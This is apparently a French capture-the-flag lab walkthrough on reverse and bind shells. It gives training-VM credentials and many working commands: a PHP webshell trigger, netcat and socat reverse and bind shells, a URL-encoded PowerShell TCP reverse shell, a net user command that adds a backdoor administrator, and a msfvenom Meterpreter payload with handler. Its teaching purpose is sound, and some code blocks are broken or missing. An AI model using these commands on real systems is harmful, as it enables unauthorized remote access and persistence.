Maîtriser les Shells : Un Guide Pratique avec TryHackMe

Ce guide pratique explore l'utilisation des shells inversés et liés, en s'appuyant sur des environnements d'apprentissage interactifs. Nous allons déployer et activer des shells sur des systèmes Linux et Windows.

Environnements de Pratique

Deux machines virtuelles sont mises à disposition : un serveur Ubuntu 18.04 et un serveur Windows 2019, chacun hébergeant un serveur web simple pour faciliter l'upload et l'activation de shells.

Machine d'Entraînement Linux

  • Système : Ubuntu Server
  • Serveur Web : Présent pour le téléversement de fichiers.
  • Outils Disponibles : socat et netcat sont préinstallés.
  • Accès : Connexion SSH disponible sur le port 22.
  • Identifiants SSH :
    • Nom d'utilisateur : shell
    • Mot de passe : TryH4ckM3!

Machine d'Entraînement Windows

  • Système : Windows Server 2019
  • Serveur Web : XAMPP est utilisé comme serveur web.
  • Outils Disponibles : socat et netcat sont préinstallés.
  • Accès : Connexion via RDP ou WinRM.
  • Identifiants :
    • Nom d'utilisateur : Administrator
    • Mot de passe : TryH4ckM3!
  • Commande RDP : xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:Administrator /p:'TryH4ckM3!'

Scénarios Pratiques

Scénario 1 : Shell Web PHP sur Linux

Objectif : Téléverser un webshell PHP sur la machine Linux et l'utiliser pour établir un shell inversé via netcat.

  1. Créez un fichier webshell.php basique sur votre machine d'attaque, par exemple : ```
  2. Sur votre machine d'attaque, lancez un listener netcat : ``` nc -lvnp 1234
  3. Téléversez webshell.php vers le répertoire accessible par le serveur web de la machine Linux (par exemple, /var/www/html/uploads/).
  4. Dans votre navigateur, accédez à l'URL du webshell et exécutez la commande pour établir la connexion : ``` http://<ip_machine_linux>/uploads/webshell.php?cmd=nc <ip_attaquant> 1234 -e /bin/bash</ip_attaquant></ip_machine_linux>
    
    

Une connexion shell inversée devrait être établie sur votre listener netcat.

Scénario 2 : Utilisation d'un Webshell PHP Préexistant

Objectif : Utiliser un webshell PHP fourni, modifier l'IP et le port, puis établir un shell inversé.

  1. Localisez le fichier php-verse-shell.php dans /usr/share/webshell/php/ sur Kali Linux.
  2. Modifiez le fichier pour qu'il corresponde à votre adresse IP d'attaquant et au port d'écoute désiré.
  3. Lancez un listener netcat sur votre machine d'attaque : ``` nc -lvnp 4444
  4. Téléversez le webshell modifié sur la machine Linux cible.
  5. Accédez à l'URL du webshell pour activer le shell inversé.

Scénario 3 : Shells Netcat via SSH (Linux)

Objectif : Utiliser SSH pour se connecter à la machine Linux et expérimenter avec les shells liés et inversés en utilisant netcat.

  1. Connectez-vous à la machine Linux via SSH avec les identifiants fournis.
  2. Shell Lié :
    • Dans votre session SSH (sur la machine cible), configurez un listener : ``` mkfifo /tmp/f; nc -lvnp 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
    • Sur votre machine d'attaque, connectez-vous au listener : ``` nc <ip_machine_linux> 4444</ip_machine_linux>
  3. Shell Inversé :
    • Sur votre machine d'attaque, lancez un listener : ``` nc -nlvp 4444
    • Dans votre session SSH (sur la machine cible), lancez le shell inversé : ``` mkfifo /tmp/f; nc <ip_attaquant> 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f</ip_attaquant>
      
      

Scénario 4 : Tentative de Shell PHP sur Windows

Objectif : Téléverser un webshell PHP sur la machine Windows et vérifier s'il fonctionne.

Résultat : L'exécution directe d'un webshell PHP standard via l'interface web peut échouer sur certaines configurations Windows en raison de restrictions ou de l'absence d'une interprétation PHP correcte côté serveur.

Scénario 5 : Shell PowerShell via Webshell PHP (Windows)

Objectif : Utiliser un webshell PHP pour exécuter une commande PowerShell et établir un shell inversé.

  1. Préparez un webshell PHP comme dans le scénario 1.
  2. Sur votre machine d'attaque, lancez un listener netcat : ``` nc -lvnp 1234
  3. Téléversez le webshell PHP sur le serveur web de la machine Windows.
  4. Accédez à l'URL du webshell en ajoutant le paramètre cmd avec la commande PowerShell suivante (encodée pour l'URL) : ``` http://<ip_machine_windows>/uploads/webshell.php?cmd=powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP_ATTAQUANT>%27%2C1234%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22</ip_machine_windows>
    
    

Une connexion shell PowerShell inversée devrait être établie.

Scénario 6 : Création de Compte Administrateur (Windows)

Objectif : Utiliser le shell obtenu précédemment pour créer un nouvel utilisateur avec des privilèges d'administrateur et s'y connecter via RDP.

  1. Depuis le shell PowerShell obtenu, exécutez les commandes suivantes : ``` net user UtilisateurTest MotDePasseTest123 /add net localgroup administrators UtilisateurTest /add
  2. Sur votre machine d'attaque, utilisez RDP pour vous connecter avec le nouveau compte : ``` xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.98.5 /u:UtilisateurTest /p:'MotDePasseTest123'
    
    

Scénario 7 : Shells Netcat et Socat sur Windows

Objectif : Obtenir des shells inversés et liés sur la machine Windows en utilisant netcat et socat.

Netcat
  • Shell Inversé :
    • Sur l'attaquant : ``` nc -lvnp 12345
    • Connectez-vous à la machine cible via RDP.
    • Dans cmd sur la cible : ``` nc 10.10.44.92 12345 -e "cmd.exe"
  • Shell Lié :
    • Dans cmd sur la cible : ``` nc -lvnp 12345 -e "cmd.exe"
    • Sur l'attaquant : ``` nc 10.10.98.5 12345
      
      
Socat
  • Shell Inversé :
    • Sur l'attaquant : ``` socat TCP-L:12345 -
    • Dans cmd sur la cible : ``` socat TCP:10.10.44.92:12345 EXEC:powershell.exe,pipes
  • Shell Lié :
    • Dans cmd sur la cible : ``` socat TCP-L:12345 EXEC:powershell.exe,pipes
    • Sur l'attaquant : ``` socat TCP:10.10.98.5:12345 -
      
      

Scénario 8 : Shell Meterpreter avec Msfvenom (Windows)

Objectif : Générer un exécutable Meterpreter 64 bits pour Windows, le téléverser, l'exécuter, et le capturer avec Metasploit.

  1. Générez l'exécutable sur votre machine d'attaque : ``` msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=10.10.44.92 LPORT=12345
  2. Configurez le module multi/handler dans msfconsole :
    • use multi/handler
    • set PAYLOAD windows/x64/meterpreter/reverse_tcp
    • set LHOST 10.10.44.92
    • set LPORT 12345
    • exploit ou run
  3. Téléversez shell.exe sur la machine cible (via RDP avec le presse-papiers activé).
  4. Exécutez shell.exe sur la machine cible.

Une session Meterpreter devrait s'ouvrir sur votre machine d'attaque.

Scénario 9 : Shells Meterpreter Staged/Non-Staged avec Netcat

Objectif : Créer des shells Meterpreter staged et non-staged, les téléverser et tenter de les capturer avec netcat.

Résultat : Les shells Meterpreter générés avec msfvenom nécessitent le module multi/handler de Metasploit pour être correctement capturés. Netcat seul ne suffit pas pour établir la communication avec ces payloads avancés.

Étiquettes: reverse shell bind shell netcat socat PowerShell

Publié le 4 juillet à 03h19